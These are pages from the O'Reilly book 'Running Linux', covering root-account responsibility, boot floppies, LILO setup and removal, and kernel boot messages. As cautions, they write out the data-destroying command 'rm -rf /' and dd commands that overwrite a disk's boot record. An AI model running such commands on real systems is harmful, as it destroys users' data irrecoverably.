root         8  0.0  0.2   804   264  ?  S    Mar 18   0:02 update (bd
root        55  0.0  0.2   816   328  ?  S    Mar 18   0:00 /sbin/kern
root        78  0.0  0.0     0     0  ?  Z    Mar 18   0:00 request-ro
root        96  0.0  0.3   832   408  ?  S    Mar 18   0:00 /usr/sbin/
root        98  0.0  0.3   932   448  ?  S    Mar 18   0:00 /usr/sbin/
root       167  0.0  0.2   824   288  ?  S    Mar 18   0:00 /usr/bin/g
root       182  0.0  0.6  1508   856   2 S    Mar 18   0:00 -bash
root       183  0.0  0.2   808   288   3 S    Mar 18   0:00 /sbin/ming
root       184  0.0  0.2   808   284   4 S    Mar 18   0:00 /sbin/ming
root       185  0.0  0.2   808   284   5 S    Mar 18   0:00 /sbin/ming
root       186  0.0  0.2   808   284   6 S    Mar 18   0:00 /sbin/ming
root       235  0.3 11.8 25292 15196  ?  S    Mar 18  19:19 /usr/X11R6
root       682  0.0  0.4  1076   556  ?  S    Mar 18   0:00 /usr/sbin/
root       684  0.0  0.3   948   484  ?  S    Mar 18   0:00 /usr/sbin/
root       707  0.0  0.3   860   440  ?  S    Mar 18   0:00 /usr/sbin/
root       709  0.0  0.3   896   452  ?  S    Mar 18   0:00 /usr/sbin/
root       712  0.0  0.5  1212   668  ?  S    Mar 18   0:00 /usr/sbin/
root       727  0.0  0.2   840   356  ?  S    Mar 18   0:00 /usr/sbin/
root       733  0.0  0.2   820   304  ?  S    Mar 18   0:00 /usr/sbin/
root       737  0.0  0.2   836   316  ?  S    Mar 18   0:00 /usr/sbin/
root       745  0.0  0.5  1204   708  ?  S    Mar 18   0:00 sendmail:
root       752  0.0  0.4  1772   592  ?  S    Mar 18   0:00 /opt/appli
wwwrun     718  0.0  0.5  1212   668  ?  S    Mar 18   0:00 /usr/sbin/
wwwrun     719  0.0  0.5  1212   652  ?  S    Mar 18   0:00 /usr/sbin/
wwwrun     720  0.0  0.5  1212   644  ?  S    Mar 18   0:00 /usr/sbin/
wwwrun     721  0.0  0.5  1212   644  ?  S    Mar 18   0:00 /usr/sbin/
wwwrun     722  0.0  0.5  1212   644  ?  S    Mar 18   0:00 /usr/sbin/

Previous | Home | Next
4.17. Programs That Serve You | Book Index | 5. Essential System Management
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Essential System Management (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 5. Essential System Management

Contents:

Running the System
Booting the System
System Startup and Initialization
Single-User Mode
Shutting Down the System
The /proc filesystem
Managing User Accounts

If you're running your own Linux system, one of the first tasks at hand is to learn the ropes of system administration. You won't be able to get by for long without having to perform some kind of system maintenance, software upgrade, or mere tweaking necessary to keep things in running order.

Running a Linux system is not unlike riding and taking care of a motorcycle.[21] Many motorcycle hobbyists prefer caring for their own equipment--routinely cleaning the points, replacing worn-out parts, and so forth. Linux gives you the opportunity to experience the same kind of "hands-on" maintenance with a complex operating system.

[21]At least one author attests a strong correspondence between Linux system administration and Robert Pirsig's Zen and the Art of Motorcycle Maintenance. Does Linux have the Buddha nature?

While a passionate administrator can spend any amount of time tuning it for performance, you really have to perform administration only when a major change occurs: you install a new disk, a new user comes on the system, or a power failure causes the system to go down unexpectedly. We discuss all these situations over the next four chapters.

Linux is surprisingly accessible, in all respects--from the more mundane tasks of upgrading shared libraries to the more esoteric, such as mucking about with the kernel. Because all the source code is available, and the body of Linux developers and users has traditionally been of the hackish breed, systems maintenance is not only a part of daily life but also a great learning experience. Trust us: there's nothing like telling your friends how you upgraded from X11R6.1 to X11R6.3 in less than half an hour, and all the while you were recompiling the kernel to support the ISO 9660 filesystem. (They may have no idea what you're talking about, in which case you can give them a copy of this book.)

In the next few chapters, we explore your Linux system from the mechanic's point of view--showing you what's under the hood, as it were--and explain how to take care of it all, including software upgrades, managing users, filesystems, and other resources, taking backups, and what to do in emergencies. If you've never used a Unix system before, we'll also take you for a test drive and show you the basics of running and using the system.

Once you put the right entries in startup files, your Linux system will, for the most part, run itself. As long as you're happy with the system configuration and the software that's running on it, very little work will be necessary on your part. However, we'd like to encourage Linux users to experiment with their system and customize it to taste. Very little about Linux is carved in stone, and if something doesn't work the way that you'd like it to, you should be able to change that. For instance, if you'd rather read blinking green text on a cyan background, rather than the traditional white-on-black, we'll show you how to configure that. (As long as you promise not to let anyone know who told you.)

It should be noted that many Linux systems include fancy tools to simplify many system administration tasks. These include YaST on SuSE systems, LISA on Caldera systems, and the control-panel or linuxconf on Red Hat systems. These tools can do everything from managing user accounts to creating filesystems to doing your laundry. These utilities can either make your life easier or more difficult, depending on how you look at them. In these chapters, we present the "guts" of system administration, demonstrating the tools that should be available on any Linux system and indeed nearly all Unix systems. These are the core of the system administrator's toolbox: the metaphorical hammer, screwdriver, and socket wrench that you can rely on to get the job done. If you'd rather use the 40-hp circular saw, feel free, but it's always nice to know how to use the hand tools in case the power goes out. Good follow-up books, should you wish to investigate more topics in Unix system administration, include the Unix System Administration Handbook and Essential System Administration.

5.1. Running the System

Being the system administrator for any Unix system requires a certain degree of responsibility and care. This is equally true for Linux, even if you're the only user on your system.

Many of the system administrator's tasks are done by logging into the root account. This account has special properties on Unix systems; specifically, the usual file permissions and other security mechanisms simply don't apply to root. That is, root can access and modify any file on the system--no matter who it belongs to. Whereas normal users can't damage the system (say, by corrupting filesystems or touching other users' files), root has no such restrictions.

Why does the Unix system have security in the first place? The most obvious reason for this is to allow users to choose how they wish their own files to be accessed. By changing file-permission bits (with the chmod command), users can specify that certain files should only be readable, writable, or executable by certain groups of other users or no other users at all. Permissions help ensure privacy and integrity of data; you wouldn't want other users to read your personal mailbox, for example, or to edit the source code for an important program behind your back.

The Unix security mechanisms also prevent users from damaging the system. The system restricts access to many of the raw device files (accessed via /dev--more on this in the section "Section 6.3, "Device Files"" in Chapter 6, "Managing Filesystems, Swap, and Devices") corresponding to hardware, such as your hard drives. If normal users could read and write directly to the disk-drive device, they could wreak all kinds of havoc: say, completely overwriting the contents of the drive. Instead, the system requires normal users to access the drives via the filesystem--where security is enforced via the file permission bits described previously.

It is important to note that not all kinds of "damage" that can be caused are necessarily malevolent. System security is more a means to protect users from their own natural mistakes and misunderstandings rather than to enforce a police state on the system. And, in fact, on many systems security is rather lax; Unix security is designed to foster the sharing of data between groups of users who may be, say, cooperating on a project. The system allows users to be assigned to groups, and file permissions may be set for an entire group. For instance, one development project might have free read and write permission to a series of files, while at the same time other users are prevented from modifying those files. With your own personal files, you get to decide how public or private the access permissions should be.

The Unix security mechanism also prevents normal users from performing certain actions, such as calling certain system calls within a program. For example, there is a system call that causes the system to halt, called by programs such as shutdown (more on this later in the chapter) to reboot the system. If normal users could call this function within their programs, they could accidentally (or purposefully) halt the system at any time.

In many cases, you have to bypass Unix security mechanisms in order to perform system maintenance or upgrades. This is what the root account is for. Because no such restrictions apply to root, it is easy for a knowledgeable system administrator to get work done without worrying about the usual file permissions or other limitations. The usual way to log in as root is with the su command. su allows you to assume the identification of another user--for example:

su andy
will prompt you for the password for andy, and if it is correct will set your user ID to that of andy. A superuser often wants to temporarily assume a regular user's identity to correct a problem with that user's files or some similar reason. Without a username argument, su will prompt you for the root password, validating your user ID as root. Once you are finished using the root account, you log out in the usual way and return to your own mortal identity.

Why not simply log in as root from the usual login prompt? As we'll see, this is desirable in some instances, but most of the time it's best to use su after logging in as yourself. On a system with many users, use of su records a message such as:

Nov  1 19:28:50 loomer su: mdw on /dev/ttyp1
in the system logs, such as /var/log/messages (we'll talk more about these files later). This message indicates that the user mdw successfully issued a su command, in this case for root. If you were to log in directly as root, no such message would appear in the logs; you wouldn't be able to tell which user was mucking about with the root account. This is important if there are multiple administrators on the machine: it is often desirable to find out who used su and when.

The root account can be considered a magic wand--both a useful and potentially dangerous tool. Fumbling the magic words you invoke while holding this wand can wreak unspeakable damage on your system. For example, the simple eight-character sequence rm -rf / will delete every file on your system, if executed as root, and if you're not paying attention. Does this problem seem far-fetched? Not at all. You might be trying to delete an old directory, such as /usr/src/oldp, and accidently slip in a space after the first slash, producing the following:

rm -rf / usr/src/oldp

Another common mistake is to confuse the arguments for commands such as dd, a command often used to copy large chunks of data from one place to another. For instance, in order to save the first 1024 bytes of data from the device /dev/hda (which contains the boot record and partition table for that drive), one might use the command:

dd if=/dev/hda of=/tmp/stuff bs=1k count=1
However, if we reverse if and of in this command, something quite different happens: the contents of /tmp/stuff are written to the top of /dev/hda. If /tmp/stuff contains garbage or incorrect data, you've just succeeded in hosing your partition table and possibly a filesystem superblock. Welcome to the wonderful world of system administration!

The point here is that you should sit on your hands before executing any command as root. Stare at the command for a minute before pressing Enter and make sure it makes sense. If you're not sure of the arguments and syntax of the command, quickly check the manual pages or try the command in a safe environment before firing it off. Otherwise you'll learn these lessons the hard way; mistakes made as root can be disastrous.

In many cases, the prompt for the root account differs from that for normal users. Classically, the root prompt contains a hash mark (#), while normal user prompts contain $ or %. (Of course, use of this convention is up to you; it is utilized on many Unix systems, however.) Although the prompt may remind you that you are wielding the root magic wand, it is not uncommon for users to forget this or accidentally enter a command in the wrong window or virtual console.

Like any powerful tool, the root account can also be abused. It is important, as the system administrator, to protect the root password, and if you give it out at all, to give it only to those users whom you trust (or who can be held responsible for their actions on the system). If you're the only user of your Linux system, this certainly doesn't apply--unless, of course, your system is connected to a network or allows dial-in login access.

The primary benefit of not sharing the root account with other users is not so much that the potential for abuse is diminished, although this is certainly the case. Even more important is that if you're the one person with the ability to use the root account, you have complete knowledge of how the system is configured. If anyone were able to, say, modify important system files (as we'll talk about in this chapter), the system configuration could be changed behind your back, and your assumptions about how things work would be incorrect. Having one system administrator act as the arbiter for the system configuration means that one person always knows what's going on.

Also, allowing other people to have the root password means that it's more likely someone will eventually make a mistake using the root account. Although each person with knowledge of the root password may be trusted, anybody can make mistakes. If you're the only system administrator, you have only yourself to blame for making the inevitable human mistakes as root.

That being said, let's dive into the actual tasks of system administration under Linux. Buckle your seatbelt.

Previous | Home | Next
4.18. Processes | Book Index | 5.2. Booting the System
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Booting the System (Running Linux)

 Running LinuxSearch this book
Previous Next

5.2. Booting the System

There are several ways of booting Linux on your system. The most common methods involve booting from the hard drive or using a boot floppy. In many cases, the installation procedure will have configured one or both of these for you; in any case, it's important to understand how to configure booting for yourself.

5.2.1. Using a Boot Floppy

Traditionally, a Linux boot floppy simply contains a kernel image, which is loaded into memory when the floppy is booted on the system.[22] The kernel image is usually compressed, using the same algorithm as the gzip compression program (more on this in the section "Section 7.4.2, "Building the Kernel"" in Chapter 7, "Upgrading Software and the Kernel" ). Compression allows the kernel, which may be a megabyte or more in size, to require only a few hundred kilobytes of disk space. Part of the kernel code is not compressed: this part contains the routines necessary to uncompress the kernel from the disk image and load it into memory. Therefore, the kernel actually "bootstraps" itself at boot time by uncompressing into memory.

[22]A Linux boot floppy may instead contain a LILO boot record, which causes the system to boot a kernel from the hard drive. We'll discuss this in the next section, when we talk about LILO.

A number of parameters are stored in the kernel image. Among these parameters is the name of the device to use as the root filesystem once the kernel boots. Another parameter is the text mode to use for the system console. All of these parameters may be modified using the rdev command, which we'll discuss later in the section.

After the kernel has started, it attempts to mount a filesystem on the root device hard-coded in the kernel image itself. This will serve as the root filesystem--that is, the filesystem on /. The section "Section 6.1, "Managing Filesystems"" in Chapter 6, "Managing Filesystems, Swap, and Devices" discusses filesystems in more detail; all that you need to know for now is that the kernel image must contain the name of your root filesystem device. If the kernel can't mount a filesystem on this device, it gives up, issuing a kernel "panic" message. (Essentially, a kernel panic is a fatal error signaled by the kernel itself. A panic will occur whenever the kernel is terminally confused and can't continue with execution. For example, if there is a bug in the kernel itself, a panic might occur when it attempts to access memory that doesn't exist. We'll talk about kernel panics more in the section "Section 8.6, "What to Do in an Emergency"" in Chapter 8, "Other Administrative Tasks".)

The root device stored in the kernel image is that of your root filesystem on the hard drive. This means that once the kernel boots, it mounts a hard-drive partition as the root filesystem, and all control transfers to the hard drive. Once the kernel is loaded into memory, it stays there--the boot floppy need not be accessed again (until you reboot the system, of course).

Many Linux distributions create a boot floppy for you in this way when installing the system. Using a boot floppy is an easy way to boot Linux if you don't want to bother booting from the hard drive. (For example, OS/2's or Windows NT's boot managers are somewhat difficult to configure for booting Linux. We'll talk about this in the next section.) Once the kernel has booted from the floppy, you are free to use the floppy drive for other purposes.

Given a kernel image, you can create your own boot floppy. On many Linux systems, the kernel itself is stored in the file /boot/vmlinuz.[23] This is not a universal convention, however; other Linux systems store the kernel in /vmlinuz or /vmlinux, others in a file such as /Image. (If you have multiple kernel images, you can use LILO to select which one to boot. See the next section.) Note that newly installed Linux systems may not have a kernel image on the hard drive if a boot floppy was created for you. In any case, you can build your own kernel. It's usually a good idea to do this anyway; you can "customize" the kernel to only include those drivers for your particular hardware. See the section "Section 7.4.2, "Building the Kernel"" in Chapter 7, "Upgrading Software and the Kernel" for details.

[23]Why the silly filename? On many Unix systems, the kernel is stored in a file named /vmunix where vm stands for "virtual memory." Naturally, Linux has to be different and names its kernel images vmlinux, and places them in the directory /boot to get them out of the root directory. The name vmlinuz was adopted to differentiate compressed kernel images from uncompressed images. Actually, the name and location of the kernel don't matter a bit, as long as you have either a boot floppy containing a kernel or LILO knows how to find the kernel image.

All right. Let's say that you have a kernel image in the file /boot/vmlinuz. To create a boot floppy, the first step is to use rdev to set the root device to that of your Linux root filesystem. (If you built the kernel yourself, this should be already set to the correct value, but it can't hurt to check with rdev.) We discussed how to create the root device in the sections "Section 3.1.2, "Drives and Partitions Under Linux"" and "Section 3.1.3, "Creating Linux Partitions"" in Chapter 3, "Installation and Initial Configuration".

As root, use rdev -h to print a usage message. As you will see, there are many supported options, allowing you to specify the root device (our task here), the swap device, ramdisk size, and so on. For the most part, you needn't concern yourself with these options now.

If we use the command rdev /boot/vmlinuz, the root device encoded in the kernel found in /boot/vmlinuz will be printed:

courgette:/# rdev /boot/vmlinuz
Root device /dev/hda1
If this is incorrect, and the Linux root filesystem is actually on /dev/hda3, we should use the following command:
courgette:/# rdev /boot/vmlinuz /dev/hda3
courgette:/#
rdev is the strong, silent type; nothing is printed when you set the root device, so run rdev /boot/vmlinuz again to check that it is set correctly.

Now you're ready to create the boot floppy. For best results, use a brand-new, formatted floppy. You can format the floppy under MS-DOS or using fdformat under Linux;[24] this will lay down the sector and track information so that the system can auto-detect the size of the floppy. (See the section "Section 6.1, "Managing Filesystems"" in Chapter 6, "Managing Filesystems, Swap, and Devices" for more on using floppies.)

[24]The Debian distribution doesn't have an fdformat command; use the aptly named superformat instead.

To create the boot floppy, use dd to copy the kernel image to it, as in:

courgette:/# dd if=/boot/vmlinuz of=/dev/fd0 bs=8192
If you're interested in dd, the manual page will be illustrative; in brief, this copies the input file (if option) named /boot/vmlinuz to the output file (of option) named /dev/fd0 (the first floppy device), using a block size (bs) of 8192 bytes. Of course, the plebian cp can be used as well, but we Unix sysadmins love to use cryptic commands to complete relatively simple tasks. That's what separates us from mortal users.

Your boot floppy should now be ready to go. You can shut down the system (see the section "Section 5.5, "Shutting Down the System"" later in this chapter) and boot with the floppy, and if all goes well, your Linux system should boot as it usually does. It might be a good idea to make an extra boot floppy as a spare, and in the section "Section 8.6, "What to Do in an Emergency"" in Chapter 8, "Other Administrative Tasks", we describe methods by which boot floppies can be used to recover from disaster.

5.2.2. Using LILO

LILO is a general-purpose boot manager that can boot whatever operating systems you have installed on your machine, including Linux. There are dozens of ways to configure LILO. Here, we're going to discuss the two most common methods: installing LILO on the master boot record of your hard drive and installing LILO as a secondary boot loader for Linux only.

LILO is the most common way to boot Linux from the hard drive. (By the expression "boot from the hard drive," we mean that the kernel itself is stored on the hard drive and no boot floppy is required, but remember that even when you use a boot floppy, control is transferred to the hard drive once the kernel is loaded into memory.) If LILO is installed on your drive's master boot record, or MBR, it is the first code to run when the hard drive is booted. LILO can then boot other operating systems--such as Linux or MS-DOS--and allow you to select between them at boot time.

However, both OS/2 and Windows NT have boot managers of their own that occupy the MBR. If you are using one of these systems, in order to boot Linux from the hard drive, you may have to install LILO as the "secondary" boot loader for Linux only. In this case, LILO is installed on the boot record for just your Linux root partition, and the boot manager software (for OS/2 or Windows NT) takes care of executing LILO from there when you wish to boot Linux.

As we'll see, however, both the OS/2 and Windows NT boot managers are somewhat uncooperative when it comes to booting LILO. This is a poor design decision, and if you must absolutely use one of these boot managers, it might be easier to boot Linux from floppy instead. Read on.

Use of LILO with Windows 95/98, on the other hand, is quite simple. You simply configure LILO to boot Windows 95/98 as you would configure it to boot MS-DOS (see the next section). However, if you install Windows 95/98 after installing LILO, you need to reinstall LILO (as the Windows 95/98 installation procedure overwrites the MBR of your primary hard drive). Just be sure you have a Linux boot floppy on hand so you can boot Linux and rerun LILO.

Before proceeding you should note that a number of Linux distributions are capable of configuring and installing LILO when you first install the Linux software. However, it's often best to configure LILO yourself, just to ensure that everything is done correctly.

5.2.2.1. The /etc/lilo.conf file

The first step in configuring LILO is to set up the LILO configuration file, which is often stored in /etc/lilo.conf. (On other systems, the file may be found in /boot/lilo.conf or /etc/lilo/config.)

We are going to walk through a sample lilo.conf file. You can use this file as a base for your own lilo.conf and edit it for your own system.

The first section of this file sets up some basic parameters:

boot = /dev/hda
compact
install = /boot/boot.b
map = /boot/map
The boot line sets the name of the device where LILO should install itself in the boot record. In this case, we want to install LILO in the master boot record of /dev/hda, the first non-SCSI hard drive. If you're booting from a SCSI hard drive, use a device name such as /dev/sda instead. If you give a partition device name (such as /dev/hda2), instead of a drive device, LILO will be installed as a secondary boot loader on the named partition. (Debian users should always do this.) We'll talk about this in more detail later.

The compact line tells LILO to perform some optimization; always use this unless you are seriously hacking on your LILO configuration.[25] Likewise, always use the install and map lines as shown. install names the file containing the boot sector to use on the MBR, and map specifies the "map file" that LILO creates when installed. These files should be in the directory /boot, although on other systems they may be found in /etc/lilo. /boot/map won't be created until you install LILO for the first time.

[25]In some cases, you will need the linear option, which should not be used together with compact. See the LILO documentation for more information.

Now, for each operating system you wish LILO to boot, add a stanza to /etc/lilo.conf. For example, a Linux stanza might look like this:

# Stanza for Linux with root partition on /dev/hda2.
   image = /boot/vmlinuz   # Location of kernel
   label = linux           # Name of OS (for the LILO boot menu)
   root = /dev/hda2        # Location of root partition
   vga = ask               # Ask for VGA text mode at boot time
The image line specifies the name of the kernel image. Subfields include label, which gives this stanza a name to use with the LILO boot menu (more on this later); root, which specifies the Linux root partition; and vga, which specifies the VGA text mode to use for the system console.

Valid modes for vga are normal (for standard 80x25 display), extended (for extended text mode, usually 132x44 or 132x60), ask (to be prompted for a mode at boot time), or an integer (such as 1, 2, or 3). The integer corresponds to the number of the mode you select when using ask. The exact text modes available depend on your video card; use vga = ask to get a list.

If you have multiple Linux kernels you wish to boot--for example, if you're doing some kernel debugging--you can add an image stanza for each one. The only required subfield of the image stanza is label. If you don't specify root or vga, the defaults coded into the kernel image itself using rdev will be used. If you do specify root or vga, these override the values you may have set using rdev. Therefore, if you are booting Linux using LILO, there's no need to use rdev; the LILO configuration file sets these boot parameters for you.

A stanza for booting MS-DOS or Windows 95/98 would look like the following:

# Stanza for MSDOS/Win 95/Win 98 partition on /dev/hda1.
   other = /dev/hda1    # Location of partition
   table = /dev/hda     # Location of partition table for /dev/hda2
   label = msdos        # Name of OS (for boot menu)
You would use an identical stanza to boot OS/2 from LILO (using a different label line, of course).

If you wish to boot an MS-DOS or Windows 95/98 partition located on the second drive, you should add the line:

   loader = /boot/any_d.b
to the MS-DOS other stanza. For OS/2 partitions on the second drive, add the line:
   loader = /boot/os2_d.b

There are many more options available for LILO configuration. The LILO distribution itself (found on most Linux FTP sites and distributions) includes an extensive manual describing them all. The previous examples should suffice for most systems, however.

Once you have your /etc/lilo.conf ready, you can run the command:

/sbin/lilo
as root. This should display information such as the following:
courgette:/# /sbin/lilo
Added linux
Added msdos
courgette:/#
Using the -v option with lilo prints more diagnostic information should something go wrong; also, using the -C option allows you to specify a configuration file other than /etc/lilo.conf.

Once this is done, you're ready to shut down your system (again, see the section "Section 5.5, "Shutting Down the System"" later in this chapter for details), reboot, and try it out. The first operating system stanza listed in /etc/lilo.conf will be booted by default. To select one of the other kernels or operating systems listed in /etc/lilo.conf, hold down the Shift or Control key or simply press the Scroll Lock key while the system boots. This should present you with a LILO boot prompt:

boot:
Here, you can press Tab to get a list of available boot options:
boot: tab-key
linux msdos
These are the names given with label lines in /etc/lilo.conf. Enter the appropriate label, and that operating system will boot. In this case, entering msdos causes MS-DOS to boot from /dev/hda1, as we specified in the lilo.conf file.

5.2.2.2. Using LILO as a secondary boot loader

If you're using the OS/2 or Windows NT boot manager, installing the Debian distribution of Linux, or don't want LILO to inhabit the master boot record of your drive, you can configure LILO as a secondary boot loader, which will live on the boot record of just your Linux root partition.

To do this, simply change the boot = … line of /etc / lilo.conf to the name of the Linux root partition. For example:

boot = /dev/hda2
will install LILO on the boot record of /dev/hda2, to boot Linux only. Note that this works only for primary partitions on the hard drive (not extended or logical partitions). This restriction applies to the Debian distribution, however, where the MBR can boot an operating system from a boot sector in an extended (but not logical) partition. In order to boot Linux in this way, the Linux root partition should be marked as "active" in the partition table. This can be done using fdisk under Linux or MS-DOS. When booting the system, the BIOS will read the boot record of the first "active" partition to start Linux.

If you are using OS/2's or Windows NT's boot manager, you should install LILO in this way, and then tell the boot manager to boot another operating system from that partition on your hard drive. The method for doing this depends on the boot manager in question; see your documentation for details.

LILO is known to work with OS/2's Boot Manager, but getting things to work well is not always easy. The problem is that OS/2 Boot Manager won't even recognize your partitions created with Linux fdisk. The way around this problem is to use OS/2's fdisk to give the Linux partitions (created using Linux fdisk) a name. Another workaround is to create the Linux partitions using OS/2's fdisk and format them (say, as an MS-DOS FAT partition) first. Now OS/2 will recognize the partitions, and you can use the Linux fdisk command to set the types of the partitions to Linux native and Linux swap, as described in the section "Section 3.1.3, "Creating Linux Partitions"" in Chapter 3, "Installation and Initial Configuration". You can then install Linux on these partitions and install LILO on the boot record of your Linux root partition. Hopefully, all will be well.

Why are we telling you this now? Because OS/2's Boot Manager is broken with respect to booting operating systems it doesn't know about. Instead of using OS/2 Boot Manager, you can install LILO on the MBR of your drive and have it boot OS/2, using an other stanza in the /etc/lilo.conf file as you would with MS-DOS. Another option is to simply boot Linux from floppy--or, even better, not to use OS/2 at all. But let's not get carried away.

5.2.2.3. Specifying boot time options

When you first installed Linux, more than likely you booted either from a floppy or a CD-ROM, which gave you the now-familiar LILO boot prompt. At this prompt you can enter several boot time options, such as:

hd=cylinders,heads,sectors
to specify the hard-drive geometry. Each time you boot Linux, it may be necessary to specify these parameters in order for your hardware to be detected correctly, as described in the section "Section 3.1.1, "Booting Linux"" in Chapter 3, "Installation and Initial Configuration". If you are using LILO to boot Linux from the hard drive, you can specify these parameters in /etc/lilo.conf instead of entering them at the boot prompt each time. To the Linux stanza of the lilo.conf file, just add a line such as:
    append = "hd=683,16,38"
This causes the system to behave as though hd=683,16,38 were entered at the LILO boot prompt. If you wish to specify multiple boot options, you can do so with a single append line, as in:
    append = "hd=683,16,38 hd=64,32,202"
In this case, we specify the geometry for the first and second hard drives, respectively.

Note that you need to use such boot options only if the kernel doesn't detect your hardware at boot time. You should already know if this is necessary, based on your experiences with installing Linux; in general, you should have to use an append line in lilo.conf only if you had to specify these boot options when first booting the Linux installation media.

There are a number of other boot-time options available. Most of them deal with hardware detection, which has already been discussed in Chapter 3, "Installation and Initial Configuration". However, the following additional options may also be useful to you:

single

Boot the system in single-user mode; skip all of the system configuration and start a root shell on the console. See the section "Section 8.6, "What to Do in an Emergency"" in Chapter 8, "Other Administrative Tasks" for hints on using this.

root=partition

Mounts the named partition as the Linux root filesystem. This overrides any value given in /etc/lilo.conf.

ro

Mounts the root filesystem as read-only. This is usually done in order to run fsck; see the section "Section 6.1.5, "Checking and Repairing Filesystems"" in Chapter 6, "Managing Filesystems, Swap, and Devices".

ramdisk=size

Specifies a size, in bytes, for the ramdisk device. This overrides any value in /etc/lilo.conf. Most users need not worry about using the ramdisk; it's useful primarily for installation.

vga=mode

Sets the VGA display mode. This overrides any value in /etc/lilo.conf. Valid modes are normal, extended, ask, or an integer. This option is equivalent to the vga = values used in lilo.conf; see the section "Section 5.2.2.1, "The /etc/lilo.conf file"" earlier in this chapter.

mem=size

Tells the kernel how much RAM you have. If you have 64 MB or less, the kernel can get this information from the BIOS, but if you use an older kernel and you have more, you will have to tell the kernel the exact amount, or it will only use the first 64 MB. For example, if you have 128 MB, specify mem=128m. Fortunately, this is no longer necessary with newer kernels.

Any of these options can be entered by hand at the LILO boot prompt or specified with the append option in /etc/lilo.conf.

LILO includes complete documentation that describes all of the configuration options available. On many Linux systems this documentation can be found in /usr/src/lilo; on Debian systems, it is in /usr/doc/lilo/Manual.txt.gz. If you can't seem to find anything, grab the LILO distribution from one of the Linux archive sites, or ask your Linux vendor to provide the sources and documentation for LILO. This documentation includes a manual that describes all the concepts of booting and using LILO in detail, as well as a README file that contains excerpts from this manual, formatted as plain text.

5.2.2.4. Removing LILO

If you have LILO installed on your MBR, the easiest way to remove it is to use MS-DOS FDISK. The command:

FDISK /MBR
runs FDISK and overwrites the MBR with a valid MS-DOS boot record.

LILO saves backup copies of your original boot record in the files /boot/boot.0300 (for IDE drives) and /boot/boot.0800 (for SCSI drives). These files contain the MBR of the drive before LILO was installed. You can use the dd command to replace the boot record on the drive with this backup copy. For example:

dd if=/boot/boot.0300 of=/dev/hda bs=446 count=1
copies the first 446 bytes of the file /boot/boot.0300 to /dev/hda. Even though the files are 512 bytes in size, only the first 446 bytes should be copied back to the MBR.

Be very careful when using this command! This is one of those cases where blindly executing commands you find in a book can cause real trouble if you're not sure what you're doing. Only use this method as a last resort and only if you're certain that the files /boot/boot.0300 or /boot/boot.0800 contain the boot record you want. Many distributions of Linux come installed with bogus versions of these two files; you might need to delete them before you install LILO.

The LILO documentation contains further hints for removing LILO and debugging your LILO configuration.

Previous | Home | Next
5. Essential System Management | Book Index | 5.3. System Startup and Initialization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


System Startup and Initialization (Running Linux)

 Running LinuxSearch this book
Previous Next

5.3. System Startup and Initialization

In this section, we're going to talk about exactly what happens when the system boots. Understanding this process and the files involved is important for performing various kinds of system configuration.

5.3.1. Kernel Boot Messages

The first step is booting the kernel. As described in the previous section, this can be done from floppy or hard drive. As the kernel loads into memory, it will print messages to the system console, but usually also saves them in the system log files as well. As root, you can always check the file /var/log/messages (which contains kernel messages emitted during runtime as well). The command dmesg prints out the last lines of the kernel message ring buffer; directly after booting, naturally, you will get the boot messages, such as (not necessarily the same, and not necessarily in the same order):

Console: 16 point font, 480 scans
Console: colour VGA+ 80x30, 1 virtual console (max 63)
pcibios_init : BIOS32 Service Directory structure at 0x000fb1d0
pcibios_init : BIOS32 Service Directory entry at 0xfb5a0
pcibios_init : PCI BIOS revision 2.00 entry at 0xfb5d0
Probing PCI hardware.
Calibrating delay loop.. ok - 36.04 BogoMIPS
Memory: 14984k/16384k available (552k kernel code, 384k reserved,\
464k data)
Swansea University Computer Society NET3.035 for Linux 2.0
NET3: Unix domain sockets 0.13 for Linux NET3.035.
Swansea University Computer Society TCP/IP for NET3.034
IP Protocols: ICMP, UDP, TCP
VFS: Diskquotas version dquot_5.6.0 initialized
Checking 386/387 coupling... Ok, fpu using exception 16 error\
reporting.
Checking 'hlt' instruction... Ok.
Intel Pentium with F0 0F bug - workaround enabled.
alias mapping IDT readonly ...  ... done
Linux version 2.0.35 (root@rabbit) (gcc version egcs-2.90.29\
980515 (egcs-1.0.3 release)) #3 Fri Nov 13 15:07:45 CET 1998
Starting kswapd v 1.4.2.2
Serial driver version 4.13 with no serial options enabled
tty00 at 0x03f8 (irq = 4) is a 16550A
tty01 at 0x02f8 (irq = 3) is a 16550A
APM BIOS not found.
Real Time Clock Driver v1.09
Configuring Adaptec (SCSI-ID 7) at IO:330, IRQ 11, DMA priority 5
scsi0 : Adaptec 1542
scsi : 1 host.
  Vendor: IBM       Model: DORS-32160        Rev: WA0A
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 0, lun 0
  Vendor: SANYO     Model: CRD-254S          Rev: 1.05
  Type:   CD-ROM                             ANSI SCSI revision: 02
Detected scsi CD-ROM sr0 at scsi0, channel 0, id 4, lun 0
scsi : detected 1 SCSI cdrom 1 SCSI disk total.
SCSI device sda: hdwr sector= 512 bytes. Sectors= 4226725 [2063 MB]\
[2.1 GB]
Partition check:
 sda: sda1 sda2 sda3
VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 130748k swap-space (priority -1)
lp1 at 0x0378, (polling)
3c59x.c:v0.99E 5/12/98 Donald Becker http://cesdis.gsfc.nasa.gov/\
linux/drivers/vortex.html
eth0: 3Com 3c905B Cyclone 100baseTx at 0x6000, 00:10:4b:45:1d:53,\
IRQ 12
  8K byte-wide RAM 5:3 Rx:Tx split, 10baseT interface.
  Enabling bus-master transmits and whole-frame receives.
ISDN subsystem Rev: 1.44/1.41/1.47/1.28/none loaded
HiSax: Driver for Siemens chip set ISDN cards
HiSax: Version 2.1
HiSax: Revisions 1.15/1.10/1.10/1.30/1.8
HiSax: Total 1 card defined
HiSax: Card 1 Protocol EDSS1 Id=teles (0)
HiSax: Teles IO driver Rev. 1.11
HiSax: Teles 16.3 config irq:5 isac:980  cfg:d80
HiSax: hscx A:180  hscx B:580
Teles3: HSCX version A: V2.1  B: V2.1
Teles3: ISAC 2086/2186 V1.1
HiSax: DSS1 Rev. 1.16
HiSax: 2 channels added
HiSax: module installed
inserting floppy driver for 2.0.35
Floppy drive(s): fd0 is 1.44M
FDC 0 is an 8272A

